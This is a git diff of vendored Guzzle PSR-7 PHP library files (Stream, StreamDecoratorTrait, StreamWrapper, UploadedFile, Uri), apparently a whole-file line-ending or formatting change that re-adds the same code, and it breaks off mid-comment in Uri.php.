' with whence ' . var_export($whence, true)); - } - } - - public function read($length) - { - if (!isset($this->stream)) { - throw new \RuntimeException('Stream is detached'); - } - if (!$this->readable) { - throw new \RuntimeException('Cannot read from non-readable stream'); - } - if ($length < 0) { - throw new \RuntimeException('Length parameter cannot be negative'); - } - - if (0 === $length) { - return ''; - } - - $string = fread($this->stream, $length); - if (false === $string) { - throw new \RuntimeException('Unable to read from stream'); - } - - return $string; - } - - public function write($string) - { - if (!isset($this->stream)) { - throw new \RuntimeException('Stream is detached'); - } - if (!$this->writable) { - throw new \RuntimeException('Cannot write to a non-writable stream'); - } - - // We can't know the size after writing anything - $this->size = null; - $result = fwrite($this->stream, $string); - - if ($result === false) { - throw new \RuntimeException('Unable to write to stream'); - } - - return $result; - } - - public function getMetadata($key = null) - { - if (!isset($this->stream)) { - return $key ? null : []; - } elseif (!$key) { - return $this->customMetadata + stream_get_meta_data($this->stream); - } elseif (isset($this->customMetadata[$key])) { - return $this->customMetadata[$key]; - } - - $meta = stream_get_meta_data($this->stream); - - return isset($meta[$key]) ? $meta[$key] : null; - } -} +size = $options['size']; + } + + $this->customMetadata = isset($options['metadata']) + ? $options['metadata'] + : []; + + $this->stream = $stream; + $meta = stream_get_meta_data($this->stream); + $this->seekable = $meta['seekable']; + $this->readable = (bool)preg_match(self::READABLE_MODES, $meta['mode']); + $this->writable = (bool)preg_match(self::WRITABLE_MODES, $meta['mode']); + $this->uri = $this->getMetadata('uri'); + } + + /** + * Closes the stream when the destructed + */ + public function __destruct() + { + $this->close(); + } + + public function __toString() + { + try { + if ($this->isSeekable()) { + $this->seek(0); + } + return $this->getContents(); + } catch (\Exception $e) { + return ''; + } + } + + public function getContents() + { + if (!isset($this->stream)) { + throw new \RuntimeException('Stream is detached'); + } + + $contents = stream_get_contents($this->stream); + + if ($contents === false) { + throw new \RuntimeException('Unable to read stream contents'); + } + + return $contents; + } + + public function close() + { + if (isset($this->stream)) { + if (is_resource($this->stream)) { + fclose($this->stream); + } + $this->detach(); + } + } + + public function detach() + { + if (!isset($this->stream)) { + return null; + } + + $result = $this->stream; + unset($this->stream); + $this->size = $this->uri = null; + $this->readable = $this->writable = $this->seekable = false; + + return $result; + } + + public function getSize() + { + if ($this->size !== null) { + return $this->size; + } + + if (!isset($this->stream)) { + return null; + } + + // Clear the stat cache if the stream has a URI + if ($this->uri) { + clearstatcache(true, $this->uri); + } + + $stats = fstat($this->stream); + if (isset($stats['size'])) { + $this->size = $stats['size']; + return $this->size; + } + + return null; + } + + public function isReadable() + { + return $this->readable; + } + + public function isWritable() + { + return $this->writable; + } + + public function isSeekable() + { + return $this->seekable; + } + + public function eof() + { + if (!isset($this->stream)) { + throw new \RuntimeException('Stream is detached'); + } + + return feof($this->stream); + } + + public function tell() + { + if (!isset($this->stream)) { + throw new \RuntimeException('Stream is detached'); + } + + $result = ftell($this->stream); + + if ($result === false) { + throw new \RuntimeException('Unable to determine stream position'); + } + + return $result; + } + + public function rewind() + { + $this->seek(0); + } + + public function seek($offset, $whence = SEEK_SET) + { + $whence = (int) $whence; + + if (!isset($this->stream)) { + throw new \RuntimeException('Stream is detached'); + } + if (!$this->seekable) { + throw new \RuntimeException('Stream is not seekable'); + } + if (fseek($this->stream, $offset, $whence) === -1) { + throw new \RuntimeException('Unable to seek to stream position ' + . $offset . ' with whence ' . var_export($whence, true)); + } + } + + public function read($length) + { + if (!isset($this->stream)) { + throw new \RuntimeException('Stream is detached'); + } + if (!$this->readable) { + throw new \RuntimeException('Cannot read from non-readable stream'); + } + if ($length < 0) { + throw new \RuntimeException('Length parameter cannot be negative'); + } + + if (0 === $length) { + return ''; + } + + $string = fread($this->stream, $length); + if (false === $string) { + throw new \RuntimeException('Unable to read from stream'); + } + + return $string; + } + + public function write($string) + { + if (!isset($this->stream)) { + throw new \RuntimeException('Stream is detached'); + } + if (!$this->writable) { + throw new \RuntimeException('Cannot write to a non-writable stream'); + } + + // We can't know the size after writing anything + $this->size = null; + $result = fwrite($this->stream, $string); + + if ($result === false) { + throw new \RuntimeException('Unable to write to stream'); + } + + return $result; + } + + public function getMetadata($key = null) + { + if (!isset($this->stream)) { + return $key ? null : []; + } elseif (!$key) { + return $this->customMetadata + stream_get_meta_data($this->stream); + } elseif (isset($this->customMetadata[$key])) { + return $this->customMetadata[$key]; + } + + $meta = stream_get_meta_data($this->stream); + + return isset($meta[$key]) ? $meta[$key] : null; + } +} diff --git a/vendor/guzzlehttp/psr7/src/StreamDecoratorTrait.php b/vendor/guzzlehttp/psr7/src/StreamDecoratorTrait.php index 98925e1835..5025dd67b8 100644 --- a/vendor/guzzlehttp/psr7/src/StreamDecoratorTrait.php +++ b/vendor/guzzlehttp/psr7/src/StreamDecoratorTrait.php @@ -1,152 +1,152 @@ -stream = $stream; - } - - /** - * Magic method used to create a new stream if streams are not added in - * the constructor of a decorator (e.g., LazyOpenStream). - * - * @param string $name Name of the property (allows "stream" only). - * - * @return StreamInterface - */ - public function __get($name) - { - if ($name == 'stream') { - $this->stream = $this->createStream(); - return $this->stream; - } - - throw new \UnexpectedValueException("$name not found on class"); - } - - public function __toString() - { - try { - if ($this->isSeekable()) { - $this->seek(0); - } - return $this->getContents(); - } catch (\Exception $e) { - // Really, PHP? https://bugs.php.net/bug.php?id=53648 - trigger_error('StreamDecorator::__toString exception: ' - . (string) $e, E_USER_ERROR); - return ''; - } - } - - public function getContents() - { - return Utils::copyToString($this); - } - - /** - * Allow decorators to implement custom methods - * - * @param string $method Missing method name - * @param array $args Method arguments - * - * @return mixed - */ - public function __call($method, array $args) - { - $result = call_user_func_array([$this->stream, $method], $args); - - // Always return the wrapped object if the result is a return $this - return $result === $this->stream ? $this : $result; - } - - public function close() - { - $this->stream->close(); - } - - public function getMetadata($key = null) - { - return $this->stream->getMetadata($key); - } - - public function detach() - { - return $this->stream->detach(); - } - - public function getSize() - { - return $this->stream->getSize(); - } - - public function eof() - { - return $this->stream->eof(); - } - - public function tell() - { - return $this->stream->tell(); - } - - public function isReadable() - { - return $this->stream->isReadable(); - } - - public function isWritable() - { - return $this->stream->isWritable(); - } - - public function isSeekable() - { - return $this->stream->isSeekable(); - } - - public function rewind() - { - $this->seek(0); - } - - public function seek($offset, $whence = SEEK_SET) - { - $this->stream->seek($offset, $whence); - } - - public function read($length) - { - return $this->stream->read($length); - } - - public function write($string) - { - return $this->stream->write($string); - } - - /** - * Implement in subclasses to dynamically create streams when requested. - * - * @return StreamInterface - * - * @throws \BadMethodCallException - */ - protected function createStream() - { - throw new \BadMethodCallException('Not implemented'); - } -} +stream = $stream; + } + + /** + * Magic method used to create a new stream if streams are not added in + * the constructor of a decorator (e.g., LazyOpenStream). + * + * @param string $name Name of the property (allows "stream" only). + * + * @return StreamInterface + */ + public function __get($name) + { + if ($name == 'stream') { + $this->stream = $this->createStream(); + return $this->stream; + } + + throw new \UnexpectedValueException("$name not found on class"); + } + + public function __toString() + { + try { + if ($this->isSeekable()) { + $this->seek(0); + } + return $this->getContents(); + } catch (\Exception $e) { + // Really, PHP? https://bugs.php.net/bug.php?id=53648 + trigger_error('StreamDecorator::__toString exception: ' + . (string) $e, E_USER_ERROR); + return ''; + } + } + + public function getContents() + { + return Utils::copyToString($this); + } + + /** + * Allow decorators to implement custom methods + * + * @param string $method Missing method name + * @param array $args Method arguments + * + * @return mixed + */ + public function __call($method, array $args) + { + $result = call_user_func_array([$this->stream, $method], $args); + + // Always return the wrapped object if the result is a return $this + return $result === $this->stream ? $this : $result; + } + + public function close() + { + $this->stream->close(); + } + + public function getMetadata($key = null) + { + return $this->stream->getMetadata($key); + } + + public function detach() + { + return $this->stream->detach(); + } + + public function getSize() + { + return $this->stream->getSize(); + } + + public function eof() + { + return $this->stream->eof(); + } + + public function tell() + { + return $this->stream->tell(); + } + + public function isReadable() + { + return $this->stream->isReadable(); + } + + public function isWritable() + { + return $this->stream->isWritable(); + } + + public function isSeekable() + { + return $this->stream->isSeekable(); + } + + public function rewind() + { + $this->seek(0); + } + + public function seek($offset, $whence = SEEK_SET) + { + $this->stream->seek($offset, $whence); + } + + public function read($length) + { + return $this->stream->read($length); + } + + public function write($string) + { + return $this->stream->write($string); + } + + /** + * Implement in subclasses to dynamically create streams when requested. + * + * @return StreamInterface + * + * @throws \BadMethodCallException + */ + protected function createStream() + { + throw new \BadMethodCallException('Not implemented'); + } +} diff --git a/vendor/guzzlehttp/psr7/src/StreamWrapper.php b/vendor/guzzlehttp/psr7/src/StreamWrapper.php index c36f2a9820..fc7cb969bd 100644 --- a/vendor/guzzlehttp/psr7/src/StreamWrapper.php +++ b/vendor/guzzlehttp/psr7/src/StreamWrapper.php @@ -1,165 +1,165 @@ -isReadable()) { - $mode = $stream->isWritable() ? 'r+' : 'r'; - } elseif ($stream->isWritable()) { - $mode = 'w'; - } else { - throw new \InvalidArgumentException('The stream must be readable, ' - . 'writable, or both.'); - } - - return fopen('guzzle://stream', $mode, null, self::createStreamContext($stream)); - } - - /** - * Creates a stream context that can be used to open a stream as a php stream resource. - * - * @param StreamInterface $stream - * - * @return resource - */ - public static function createStreamContext(StreamInterface $stream) - { - return stream_context_create([ - 'guzzle' => ['stream' => $stream] - ]); - } - - /** - * Registers the stream wrapper if needed - */ - public static function register() - { - if (!in_array('guzzle', stream_get_wrappers())) { - stream_wrapper_register('guzzle', __CLASS__); - } - } - - public function stream_open($path, $mode, $options, &$opened_path) - { - $options = stream_context_get_options($this->context); - - if (!isset($options['guzzle']['stream'])) { - return false; - } - - $this->mode = $mode; - $this->stream = $options['guzzle']['stream']; - - return true; - } - - public function stream_read($count) - { - return $this->stream->read($count); - } - - public function stream_write($data) - { - return (int) $this->stream->write($data); - } - - public function stream_tell() - { - return $this->stream->tell(); - } - - public function stream_eof() - { - return $this->stream->eof(); - } - - public function stream_seek($offset, $whence) - { - $this->stream->seek($offset, $whence); - - return true; - } - - public function stream_cast($cast_as) - { - $stream = clone($this->stream); - - return $stream->detach(); - } - - public function stream_stat() - { - static $modeMap = [ - 'r' => 33060, - 'rb' => 33060, - 'r+' => 33206, - 'w' => 33188, - 'wb' => 33188 - ]; - - return [ - 'dev' => 0, - 'ino' => 0, - 'mode' => $modeMap[$this->mode], - 'nlink' => 0, - 'uid' => 0, - 'gid' => 0, - 'rdev' => 0, - 'size' => $this->stream->getSize() ?: 0, - 'atime' => 0, - 'mtime' => 0, - 'ctime' => 0, - 'blksize' => 0, - 'blocks' => 0 - ]; - } - - public function url_stat($path, $flags) - { - return [ - 'dev' => 0, - 'ino' => 0, - 'mode' => 0, - 'nlink' => 0, - 'uid' => 0, - 'gid' => 0, - 'rdev' => 0, - 'size' => 0, - 'atime' => 0, - 'mtime' => 0, - 'ctime' => 0, - 'blksize' => 0, - 'blocks' => 0 - ]; - } -} +isReadable()) { + $mode = $stream->isWritable() ? 'r+' : 'r'; + } elseif ($stream->isWritable()) { + $mode = 'w'; + } else { + throw new \InvalidArgumentException('The stream must be readable, ' + . 'writable, or both.'); + } + + return fopen('guzzle://stream', $mode, null, self::createStreamContext($stream)); + } + + /** + * Creates a stream context that can be used to open a stream as a php stream resource. + * + * @param StreamInterface $stream + * + * @return resource + */ + public static function createStreamContext(StreamInterface $stream) + { + return stream_context_create([ + 'guzzle' => ['stream' => $stream] + ]); + } + + /** + * Registers the stream wrapper if needed + */ + public static function register() + { + if (!in_array('guzzle', stream_get_wrappers())) { + stream_wrapper_register('guzzle', __CLASS__); + } + } + + public function stream_open($path, $mode, $options, &$opened_path) + { + $options = stream_context_get_options($this->context); + + if (!isset($options['guzzle']['stream'])) { + return false; + } + + $this->mode = $mode; + $this->stream = $options['guzzle']['stream']; + + return true; + } + + public function stream_read($count) + { + return $this->stream->read($count); + } + + public function stream_write($data) + { + return (int) $this->stream->write($data); + } + + public function stream_tell() + { + return $this->stream->tell(); + } + + public function stream_eof() + { + return $this->stream->eof(); + } + + public function stream_seek($offset, $whence) + { + $this->stream->seek($offset, $whence); + + return true; + } + + public function stream_cast($cast_as) + { + $stream = clone($this->stream); + + return $stream->detach(); + } + + public function stream_stat() + { + static $modeMap = [ + 'r' => 33060, + 'rb' => 33060, + 'r+' => 33206, + 'w' => 33188, + 'wb' => 33188 + ]; + + return [ + 'dev' => 0, + 'ino' => 0, + 'mode' => $modeMap[$this->mode], + 'nlink' => 0, + 'uid' => 0, + 'gid' => 0, + 'rdev' => 0, + 'size' => $this->stream->getSize() ?: 0, + 'atime' => 0, + 'mtime' => 0, + 'ctime' => 0, + 'blksize' => 0, + 'blocks' => 0 + ]; + } + + public function url_stat($path, $flags) + { + return [ + 'dev' => 0, + 'ino' => 0, + 'mode' => 0, + 'nlink' => 0, + 'uid' => 0, + 'gid' => 0, + 'rdev' => 0, + 'size' => 0, + 'atime' => 0, + 'mtime' => 0, + 'ctime' => 0, + 'blksize' => 0, + 'blocks' => 0 + ]; + } +} diff --git a/vendor/guzzlehttp/psr7/src/UploadedFile.php b/vendor/guzzlehttp/psr7/src/UploadedFile.php index b6ffead3cf..bf342c4de3 100644 --- a/vendor/guzzlehttp/psr7/src/UploadedFile.php +++ b/vendor/guzzlehttp/psr7/src/UploadedFile.php @@ -1,328 +1,328 @@ -setError($errorStatus); - $this->setSize($size); - $this->setClientFilename($clientFilename); - $this->setClientMediaType($clientMediaType); - - if ($this->isOk()) { - $this->setStreamOrFile($streamOrFile); - } - } - - /** - * Depending on the value set file or stream variable - * - * @param mixed $streamOrFile - * - * @throws InvalidArgumentException - */ - private function setStreamOrFile($streamOrFile) - { - if (is_string($streamOrFile)) { - $this->file = $streamOrFile; - } elseif (is_resource($streamOrFile)) { - $this->stream = new Stream($streamOrFile); - } elseif ($streamOrFile instanceof StreamInterface) { - $this->stream = $streamOrFile; - } else { - throw new InvalidArgumentException( - 'Invalid stream or file provided for UploadedFile' - ); - } - } - - /** - * @param int $error - * - * @throws InvalidArgumentException - */ - private function setError($error) - { - if (false === is_int($error)) { - throw new InvalidArgumentException( - 'Upload file error status must be an integer' - ); - } - - if (false === in_array($error, UploadedFile::$errors)) { - throw new InvalidArgumentException( - 'Invalid error status for UploadedFile' - ); - } - - $this->error = $error; - } - - /** - * @param int $size - * - * @throws InvalidArgumentException - */ - private function setSize($size) - { - if (false === is_int($size)) { - throw new InvalidArgumentException( - 'Upload file size must be an integer' - ); - } - - $this->size = $size; - } - - /** - * @param mixed $param - * - * @return bool - */ - private function isStringOrNull($param) - { - return in_array(gettype($param), ['string', 'NULL']); - } - - /** - * @param mixed $param - * - * @return bool - */ - private function isStringNotEmpty($param) - { - return is_string($param) && false === empty($param); - } - - /** - * @param string|null $clientFilename - * - * @throws InvalidArgumentException - */ - private function setClientFilename($clientFilename) - { - if (false === $this->isStringOrNull($clientFilename)) { - throw new InvalidArgumentException( - 'Upload file client filename must be a string or null' - ); - } - - $this->clientFilename = $clientFilename; - } - - /** - * @param string|null $clientMediaType - * - * @throws InvalidArgumentException - */ - private function setClientMediaType($clientMediaType) - { - if (false === $this->isStringOrNull($clientMediaType)) { - throw new InvalidArgumentException( - 'Upload file client media type must be a string or null' - ); - } - - $this->clientMediaType = $clientMediaType; - } - - /** - * Return true if there is no upload error - * - * @return bool - */ - private function isOk() - { - return $this->error === UPLOAD_ERR_OK; - } - - /** - * @return bool - */ - public function isMoved() - { - return $this->moved; - } - - /** - * @throws RuntimeException if is moved or not ok - */ - private function validateActive() - { - if (false === $this->isOk()) { - throw new RuntimeException('Cannot retrieve stream due to upload error'); - } - - if ($this->isMoved()) { - throw new RuntimeException('Cannot retrieve stream after it has already been moved'); - } - } - - /** - * {@inheritdoc} - * - * @throws RuntimeException if the upload was not successful. - */ - public function getStream() - { - $this->validateActive(); - - if ($this->stream instanceof StreamInterface) { - return $this->stream; - } - - return new LazyOpenStream($this->file, 'r+'); - } - - /** - * {@inheritdoc} - * - * @see http://php.net/is_uploaded_file - * @see http://php.net/move_uploaded_file - * - * @param string $targetPath Path to which to move the uploaded file. - * - * @throws RuntimeException if the upload was not successful. - * @throws InvalidArgumentException if the $path specified is invalid. - * @throws RuntimeException on any error during the move operation, or on - * the second or subsequent call to the method. - */ - public function moveTo($targetPath) - { - $this->validateActive(); - - if (false === $this->isStringNotEmpty($targetPath)) { - throw new InvalidArgumentException( - 'Invalid path provided for move operation; must be a non-empty string' - ); - } - - if ($this->file) { - $this->moved = php_sapi_name() == 'cli' - ? rename($this->file, $targetPath) - : move_uploaded_file($this->file, $targetPath); - } else { - Utils::copyToStream( - $this->getStream(), - new LazyOpenStream($targetPath, 'w') - ); - - $this->moved = true; - } - - if (false === $this->moved) { - throw new RuntimeException( - sprintf('Uploaded file could not be moved to %s', $targetPath) - ); - } - } - - /** - * {@inheritdoc} - * - * @return int|null The file size in bytes or null if unknown. - */ - public function getSize() - { - return $this->size; - } - - /** - * {@inheritdoc} - * - * @see http://php.net/manual/en/features.file-upload.errors.php - * - * @return int One of PHP's UPLOAD_ERR_XXX constants. - */ - public function getError() - { - return $this->error; - } - - /** - * {@inheritdoc} - * - * @return string|null The filename sent by the client or null if none - * was provided. - */ - public function getClientFilename() - { - return $this->clientFilename; - } - - /** - * {@inheritdoc} - */ - public function getClientMediaType() - { - return $this->clientMediaType; - } -} +setError($errorStatus); + $this->setSize($size); + $this->setClientFilename($clientFilename); + $this->setClientMediaType($clientMediaType); + + if ($this->isOk()) { + $this->setStreamOrFile($streamOrFile); + } + } + + /** + * Depending on the value set file or stream variable + * + * @param mixed $streamOrFile + * + * @throws InvalidArgumentException + */ + private function setStreamOrFile($streamOrFile) + { + if (is_string($streamOrFile)) { + $this->file = $streamOrFile; + } elseif (is_resource($streamOrFile)) { + $this->stream = new Stream($streamOrFile); + } elseif ($streamOrFile instanceof StreamInterface) { + $this->stream = $streamOrFile; + } else { + throw new InvalidArgumentException( + 'Invalid stream or file provided for UploadedFile' + ); + } + } + + /** + * @param int $error + * + * @throws InvalidArgumentException + */ + private function setError($error) + { + if (false === is_int($error)) { + throw new InvalidArgumentException( + 'Upload file error status must be an integer' + ); + } + + if (false === in_array($error, UploadedFile::$errors)) { + throw new InvalidArgumentException( + 'Invalid error status for UploadedFile' + ); + } + + $this->error = $error; + } + + /** + * @param int $size + * + * @throws InvalidArgumentException + */ + private function setSize($size) + { + if (false === is_int($size)) { + throw new InvalidArgumentException( + 'Upload file size must be an integer' + ); + } + + $this->size = $size; + } + + /** + * @param mixed $param + * + * @return bool + */ + private function isStringOrNull($param) + { + return in_array(gettype($param), ['string', 'NULL']); + } + + /** + * @param mixed $param + * + * @return bool + */ + private function isStringNotEmpty($param) + { + return is_string($param) && false === empty($param); + } + + /** + * @param string|null $clientFilename + * + * @throws InvalidArgumentException + */ + private function setClientFilename($clientFilename) + { + if (false === $this->isStringOrNull($clientFilename)) { + throw new InvalidArgumentException( + 'Upload file client filename must be a string or null' + ); + } + + $this->clientFilename = $clientFilename; + } + + /** + * @param string|null $clientMediaType + * + * @throws InvalidArgumentException + */ + private function setClientMediaType($clientMediaType) + { + if (false === $this->isStringOrNull($clientMediaType)) { + throw new InvalidArgumentException( + 'Upload file client media type must be a string or null' + ); + } + + $this->clientMediaType = $clientMediaType; + } + + /** + * Return true if there is no upload error + * + * @return bool + */ + private function isOk() + { + return $this->error === UPLOAD_ERR_OK; + } + + /** + * @return bool + */ + public function isMoved() + { + return $this->moved; + } + + /** + * @throws RuntimeException if is moved or not ok + */ + private function validateActive() + { + if (false === $this->isOk()) { + throw new RuntimeException('Cannot retrieve stream due to upload error'); + } + + if ($this->isMoved()) { + throw new RuntimeException('Cannot retrieve stream after it has already been moved'); + } + } + + /** + * {@inheritdoc} + * + * @throws RuntimeException if the upload was not successful. + */ + public function getStream() + { + $this->validateActive(); + + if ($this->stream instanceof StreamInterface) { + return $this->stream; + } + + return new LazyOpenStream($this->file, 'r+'); + } + + /** + * {@inheritdoc} + * + * @see http://php.net/is_uploaded_file + * @see http://php.net/move_uploaded_file + * + * @param string $targetPath Path to which to move the uploaded file. + * + * @throws RuntimeException if the upload was not successful. + * @throws InvalidArgumentException if the $path specified is invalid. + * @throws RuntimeException on any error during the move operation, or on + * the second or subsequent call to the method. + */ + public function moveTo($targetPath) + { + $this->validateActive(); + + if (false === $this->isStringNotEmpty($targetPath)) { + throw new InvalidArgumentException( + 'Invalid path provided for move operation; must be a non-empty string' + ); + } + + if ($this->file) { + $this->moved = php_sapi_name() == 'cli' + ? rename($this->file, $targetPath) + : move_uploaded_file($this->file, $targetPath); + } else { + Utils::copyToStream( + $this->getStream(), + new LazyOpenStream($targetPath, 'w') + ); + + $this->moved = true; + } + + if (false === $this->moved) { + throw new RuntimeException( + sprintf('Uploaded file could not be moved to %s', $targetPath) + ); + } + } + + /** + * {@inheritdoc} + * + * @return int|null The file size in bytes or null if unknown. + */ + public function getSize() + { + return $this->size; + } + + /** + * {@inheritdoc} + * + * @see http://php.net/manual/en/features.file-upload.errors.php + * + * @return int One of PHP's UPLOAD_ERR_XXX constants. + */ + public function getError() + { + return $this->error; + } + + /** + * {@inheritdoc} + * + * @return string|null The filename sent by the client or null if none + * was provided. + */ + public function getClientFilename() + { + return $this->clientFilename; + } + + /** + * {@inheritdoc} + */ + public function getClientMediaType() + { + return $this->clientMediaType; + } +} diff --git a/vendor/guzzlehttp/psr7/src/Uri.php b/vendor/guzzlehttp/psr7/src/Uri.php index 75ee06b41c..0f9f020d3c 100644 --- a/vendor/guzzlehttp/psr7/src/Uri.php +++ b/vendor/guzzlehttp/psr7/src/Uri.php @@ -1,810 +1,810 @@ - 80, - 'https' => 443, - 'ftp' => 21, - 'gopher' => 70, - 'nntp' => 119, - 'news' => 119, - 'telnet' => 23, - 'tn3270' => 23, - 'imap' => 143, - 'pop' => 110, - 'ldap' => 389, - ]; - - private static $charUnreserved = 'a-zA-Z0-9_\-\.~'; - private static $charSubDelims = '!\$&\'\(\)\*\+,;='; - private static $replaceQuery = ['=' => '%3D', '&' => '%26']; - - /** @var string Uri scheme. */ - private $scheme = ''; - - /** @var string Uri user info. */ - private $userInfo = ''; - - /** @var string Uri host. */ - private $host = ''; - - /** @var int|null Uri port. */ - private $port; - - /** @var string Uri path. */ - private $path = ''; - - /** @var string Uri query string. */ - private $query = ''; - - /** @var string Uri fragment. */ - private $fragment = ''; - - /** - * @param string $uri URI to parse - */ - public function __construct($uri = '') - { - // weak type check to also accept null until we can add scalar type hints - if ($uri != '') { - $parts = self::parse($uri); - if ($parts === false) { - throw new \InvalidArgumentException("Unable to parse URI: $uri"); - } - $this->applyParts($parts); - } - } - - /** - * UTF-8 aware \parse_url() replacement. - * - * The internal function produces broken output for non ASCII domain names - * (IDN) when used with locales other than "C". - * - * On the other hand, cURL understands IDN correctly only when UTF-8 locale - * is configured ("C.UTF-8", "en_US.UTF-8", etc.). - * - * @see https://bugs.php.net/bug.php?id=52923 - * @see https://www.php.net/manual/en/function.parse-url.php#114817 - * @see https://curl.haxx.se/libcurl/c/CURLOPT_URL.html#ENCODING - * - * @param string $url - * - * @return array|false - */ - private static function parse($url) - { - // If IPv6 - $prefix = ''; - if (preg_match('%^(.*://\[[0-9:a-f]+\])(.*?)$%', $url, $matches)) { - $prefix = $matches[1]; - $url = $matches[2]; - } - - $encodedUrl = preg_replace_callback( - '%[^:/@?&=#]+%usD', - static function ($matches) { - return urlencode($matches[0]); - }, - $url - ); - - $result = parse_url($prefix . $encodedUrl); - - if ($result === false) { - return false; - } - - return array_map('urldecode', $result); - } - - public function __toString() - { - return self::composeComponents( - $this->scheme, - $this->getAuthority(), - $this->path, - $this->query, - $this->fragment - ); - } - - /** - * Composes a URI reference string from its various components. - * - * Usually this method does not need to be called manually but instead is used indirectly via - * `Psr\Http\Message\UriInterface::__toString`. - * - * PSR-7 UriInterface treats an empty component the same as a missing component as - * getQuery(), getFragment() etc. always return a string. This explains the slight - * difference to RFC 3986 Section 5.3. - * - * Another adjustment is that the authority separator is added even when the authority is missing/empty - * for the "file" scheme. This is because PHP stream functions like `file_get_contents` only work with - * `file:///myfile` but not with `file:/myfile` although they are equivalent according to RFC 3986. But - * `file:///` is the more common syntax for the file scheme anyway (Chrome for example redirects to - * that format). - * - * @param string $scheme - * @param string $authority - * @param string $path - * @param string $query - * @param string $fragment - * - * @return string - * - * @link https://tools.ietf.org/html/rfc3986#section-5.3 - */ - public static function composeComponents($scheme, $authority, $path, $query, $fragment) - { - $uri = ''; - - // weak type checks to also accept null until we can add scalar type hints - if ($scheme != '') { - $uri .= $scheme . ':'; - } - - if ($authority != ''|| $scheme === 'file') { - $uri .= '//' . $authority; - } - - $uri .= $path; - - if ($query != '') { - $uri .= '?' . $query; - } - - if ($fragment != '') { - $uri .= '#' . $fragment; - } - - return $uri; - } - - /** - * Whether the URI has the default port of the current scheme. - * - * `Psr\Http\Message\UriInterface::getPort` may return null or the standard port. This method can be used - * independently of the implementation. - * - * @param UriInterface $uri - * - * @return bool - */ - public static function isDefaultPort(UriInterface $uri) - { - return $uri->getPort() === null - || (isset(self::$defaultPorts[$uri->getScheme()]) && $uri->getPort() === self::$defaultPorts[$uri->getScheme()]); - } - - /** - * Whether the URI is absolute, i.e. it has a scheme. - * - * An instance of UriInterface can either be an absolute URI or a relative reference. This method returns true - * if it is the former. An absolute URI has a scheme. A relative reference is used to express a URI relative - * to another URI, the base URI. Relative references can be divided into several forms: - * - network-path references, e.g. '//example.com/path' - * - absolute-path references, e.g. '/path' - * - relative-path references, e.g. 'subpath' - * - * @param UriInterface $uri - * - * @return bool - * - * @see Uri::isNetworkPathReference - * @see Uri::isAbsolutePathReference - * @see Uri::isRelativePathReference - * @link https://tools.ietf.org/html/rfc3986#section-4 - */ - public static function isAbsolute(UriInterface $uri) - { - return $uri->getScheme() !== ''; - } - - /** - * Whether the URI is a network-path reference. - * - * A relative reference that begins with two slash characters is termed an network-path reference. - * - * @param UriInterface $uri - * - * @return bool - * - * @link https://tools.ietf.org/html/rfc3986#section-4.2 - */ - public static function isNetworkPathReference(UriInterface $uri) - { - return $uri->getScheme() === '' && $uri->getAuthority() !== ''; - } - - /** - * Whether the URI is a absolute-path reference. - * - * A relative reference that begins with a single slash character is termed an absolute-path reference. - * - * @param UriInterface $uri - * - * @return bool - * - * @link https://tools.ietf.org/html/rfc3986#section-4.2 - */ - public static function isAbsolutePathReference(UriInterface $uri) - { - return $uri->getScheme() === '' - && $uri->getAuthority() === '' - && isset($uri->getPath()[0]) - && $uri->getPath()[0] === '/'; - } - - /** - * Whether the URI is a relative-path reference. - * - * A relative reference that does not begin with a slash character is termed a relative-path reference. - * - * @param UriInterface $uri - * - * @return bool - * - * @link https://tools.ietf.org/html/rfc3986#section-4.2 - */ - public static function isRelativePathReference(UriInterface $uri) - { - return $uri->getScheme() === '' - && $uri->getAuthority() === '' - && (!isset($uri->getPath()[0]) || $uri->getPath()[0] !== '/'); - } - - /** - * Whether the URI is a same-document reference. - * - * A same-document reference refers to a URI that is, aside from its fragment - * component, identical to the base URI. When no base URI is given, only an empty - * URI reference (apart from its fragment) is considered a same-document reference. - * - * @param UriInterface $uri The URI to check - * @param UriInterface|null $base An optional base URI to compare against - * - * @return bool - * - * @link https://tools.ietf.org/html/rfc3986#section-4.4 - */ - public static function isSameDocumentReference(UriInterface $uri, UriInterface $base = null) - { - if ($base !== null) { - $uri = UriResolver::resolve($base, $uri); - - return ($uri->getScheme() === $base->getScheme()) - && ($uri->getAuthority() === $base->getAuthority()) - && ($uri->getPath() === $base->getPath()) - && ($uri->getQuery() === $base->getQuery()); - } - - return $uri->getScheme() === '' && $uri->getAuthority() === '' && $uri->getPath() === '' && $uri->getQuery() === ''; - } - - /** - * Removes dot segments from a path and returns the new path. - * - * @param string $path - * - * @return string - * - * @deprecated since version 1.4. Use UriResolver::removeDotSegments instead. - * @see UriResolver::removeDotSegments - */ - public static function removeDotSegments($path) - { - return UriResolver::removeDotSegments($path); - } - - /** - * Converts the relative URI into a new URI that is resolved against the base URI. - * - * @param UriInterface $base Base URI - * @param string|UriInterface $rel Relative URI - * - * @return UriInterface - * - * @deprecated since version 1.4. Use UriResolver::resolve instead. - * @see UriResolver::resolve - */ - public static function resolve(UriInterface $base, $rel) - { - if (!($rel instanceof UriInterface)) { - $rel = new self($rel); - } - - return UriResolver::resolve($base, $rel); - } - - /** - * Creates a new URI with a specific query string value removed. - * - * Any existing query string values that exactly match the provided key are - * removed. - * - * @param UriInterface $uri URI to use as a base. - * @param string $key Query string key to remove. - * - * @return UriInterface - */ - public static function withoutQueryValue(UriInterface $uri, $key) - { - $result = self::getFilteredQueryString($uri, [$key]); - - return $uri->withQuery(implode('&', $result)); - } - - /** - * Creates a new URI with a specific query string value. - * - * Any existing query string values that exactly match the provided key are - * removed and replaced with the given key value pair. - * - * A value of null will set the query string key without a value, e.g. "key" - * instead of "key=value". - * - * @param UriInterface $uri URI to use as a base. - * @param string $key Key to set. - * @param string|null $value Value to set - * - * @return UriInterface - */ - public static function withQueryValue(UriInterface $uri, $key, $value) - { - $result = self::getFilteredQueryString($uri, [$key]); - - $result[] = self::generateQueryString($key, $value); - - return $uri->withQuery(implode('&', $result)); - } - - /** - * Creates a new URI with multiple specific query string values. - * - * It has the same behavior as withQueryValue() but for an associative array of key => value. - * - * @param UriInterface $uri URI to use as a base. - * @param array $keyValueArray Associative array of key and values - * - * @return UriInterface - */ - public static function withQueryValues(UriInterface $uri, array $keyValueArray) - { - $result = self::getFilteredQueryString($uri, array_keys($keyValueArray)); - - foreach ($keyValueArray as $key => $value) { - $result[] = self::generateQueryString($key, $value); - } - - return $uri->withQuery(implode('&', $result)); - } - - /** - * Creates a URI from a hash of `parse_url` components. - * - * @param array $parts - * - * @return UriInterface - * - * @link http://php.net/manual/en/function.parse-url.php - * - * @throws \InvalidArgumentException If the components do not form a valid 